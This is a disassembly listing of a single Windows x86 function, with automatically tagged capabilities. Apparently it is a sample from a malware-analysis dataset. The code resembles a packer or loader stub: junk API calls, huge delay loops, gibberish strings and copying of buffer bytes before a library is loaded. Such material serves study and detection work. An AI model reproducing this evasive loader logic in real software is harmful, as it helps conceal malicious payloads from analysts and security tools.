Function at 0x418df0
Capabilities:
Accept command line arguments
Copy file
Create pipe
Get disk information
Get file attributes
Get hostname
Manipulate console buffer
Move file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x105c
call fcn.00409710
mov eax, dword [0x41d008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputAttribute]
push edi
xor edi, edi
jmp 0x418e20
cmp dword [0x514d6c], 0x7d
jne 0x418e54
push 0
lea eax, [ebp - 0x404]
push eax
lea ecx, [ebp - 0x1044]
push ecx
lea edx, [ebp - 0x1040]
push edx
lea eax, [ebp - 0x1050]
push eax
push 0
lea ecx, [ebp - 0x804]
push ecx
push 0
call ebx
cmp edi, 0x4c8
jne 0x418e6e
mov edx, dword [0x41e730]
add edx, 0x9e49
mov dword [0x514d6c], edx
cmp dword [0x514d6c], 0xc95
jne 0x418eb3
xor ecx, ecx
xor eax, eax
lea edx, [ebp - 0x1054]
push edx
mov word [ebp - 0x103c], ax
mov word [ebp - 0x103a], cx
mov eax, dword [ebp - 0x103c]
push eax
push ecx
push ecx
push ecx
call esi
mov dword [0x41f320], 0xec58ac98
mov dword [0x41f324], 0xffffffff
inc edi
cmp edi, 0x1150cec
jl 0x418e20
mov edi, dword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor esi, esi
cmp esi, 0x560519
jne 0x418edc
mov ecx, dword [0x41df68]
mov dword [0x514e9c], ecx
cmp dword [0x514d6c], 0x168
jne 0x418eea
call edi
inc esi
cmp esi, 0x4cab73ac
jl 0x418ec8
cmp dword [0x514d6c], 0x7c
jne 0x419046
push 0
push 0
lea edx, [ebp - 0x1054]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
call dword [sym.imp.USER32.dll_GetFocus]
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
lea eax, [ebp - 0x1050]
push eax
lea ecx, [ebp - 0x804]
push ecx
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SearchPathA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
lea edx, [ebp - 0x104c]
push edx
lea eax, [ebp - 0x1004]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SearchPathW]
push 0x2e
lea ecx, [ebp - 0x1034]
push esi
push ecx
mov dword [ebp - 0x1038], esi
call fcn.00405ab0
add esp, 0xc
push esi
lea edx, [ebp - 0x1038]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
push esi
push esi
push esi
lea eax, [ebp - 0x1044]
push eax
mov dword [ebp - 0x1044], esi
call dword [sym.imp.KERNEL32.dll_CreatePipe]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor edx, edx
xor ecx, ecx
mov word [ebp - 0x103e], dx
xor eax, eax
mov word [ebp - 0x103a], cx
lea edx, [ebp - 0x105c]
push edx
mov word [ebp - 0x103c], ax
mov eax, dword [ebp - 0x103c]
push eax
mov word [ebp - 0x1040], cx
mov ecx, dword [ebp - 0x1040]
push ecx
lea edx, [ebp - 0x1048]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
push esi
lea eax, [ebp - 0x404]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
cmp dword [0x514d6c], 0x11
jne 0x419024
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ObjectPrivilegeAuditAlarmW]
cmp dword [0x514d6c], 0x2d
jne 0x419035
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call fcn.004010dd
push esi
call fcn.00401225
fstp st(0)
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_SetCommState]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
push 0
push 0
call edi
call ebx
cmp esi, 0x24c07
jg 0x41906d
inc esi
cmp esi, 0xeab1b
jl 0x419054
cmp dword [0x514d6c], 0x2a
jne 0x41912a
xor esi, esi
push esi
mov dword [0x514d60], esi
mov dword [0x514d64], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
lea ecx, [ebp - 0x1048]
push ecx
lea edx, [ebp - 0x804]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push esi
push str.bonamotuweriratesojer
push str.cojefecitade
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
lea eax, [ebp - 0x104c]
push eax
push str.xajeyonukuladanobokupepozol
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push esi
push esi
lea ecx, [ebp - 0x404]
push ecx
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push esi
lea edx, [ebp - 0xc04]
push edx
push str.rujezad
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PurgeComm]
push esi
push esi
call fcn.0040109d
push esi
call fcn.0040100f
push esi
call fcn.0040100f
push esi
push esi
call fcn.0040109d
push esi
call fcn.0040100f
add esp, 0x1c
push esi
call fcn.004014d8
call fcn.00418ac0
mov ecx, dword [0x514d6c]
xor eax, eax
test ecx, ecx
jbe 0x41916d
mov edi, dword [0x514e9c]
mov esi, dword [0x514bb4]
mov edx, 0x17bc
lea esp, [esp]
mov bl, byte [edi + eax + 0x9e49]
mov byte [eax + esi], bl
cmp ecx, 0x8d
jne 0x419168
mov dword [0x514bb8], edx
inc eax
cmp eax, ecx
jb 0x419150
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00418af0
call fcn.00418d50
mov edi, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, dword [sym.imp.KERNEL32.dll_GetStdHandle]
xor esi, esi
cmp dword [0x514d6c], 0x41
jne 0x4191ad
push 0
push 0
call edi
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
cmp esi, 0xd606b
jne 0x4191ba
call fcn.00418ae0
cmp dword [0x514d6c], 0xc
jne 0x4191d4
push 0
push 0
lea eax, [ebp - 0x1048]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
inc esi
cmp esi, 0x24e87d
jl 0x419190
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, 0x1d5ed5
mov edi, 0x8e4e4fe0
lea ecx, [ecx]
cmp dword [0x514d6c], 0x7c4
mov dword [0x514bbc], edi
jne 0x419209
push str.jigomugakarofepunu
call esi
sub ebx, 1
jne 0x4191f0
mov ecx, dword [ebp - 0x1028]
pop edi
pop esi
xor eax, eax
pop ebx
lea esp, [esp]
cmp eax, 0x408e
jle 0x41922f
cmp ecx, 0xf5bed7
jne 0x419237
inc eax
cmp eax, 0x687ed2
jl 0x419220
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret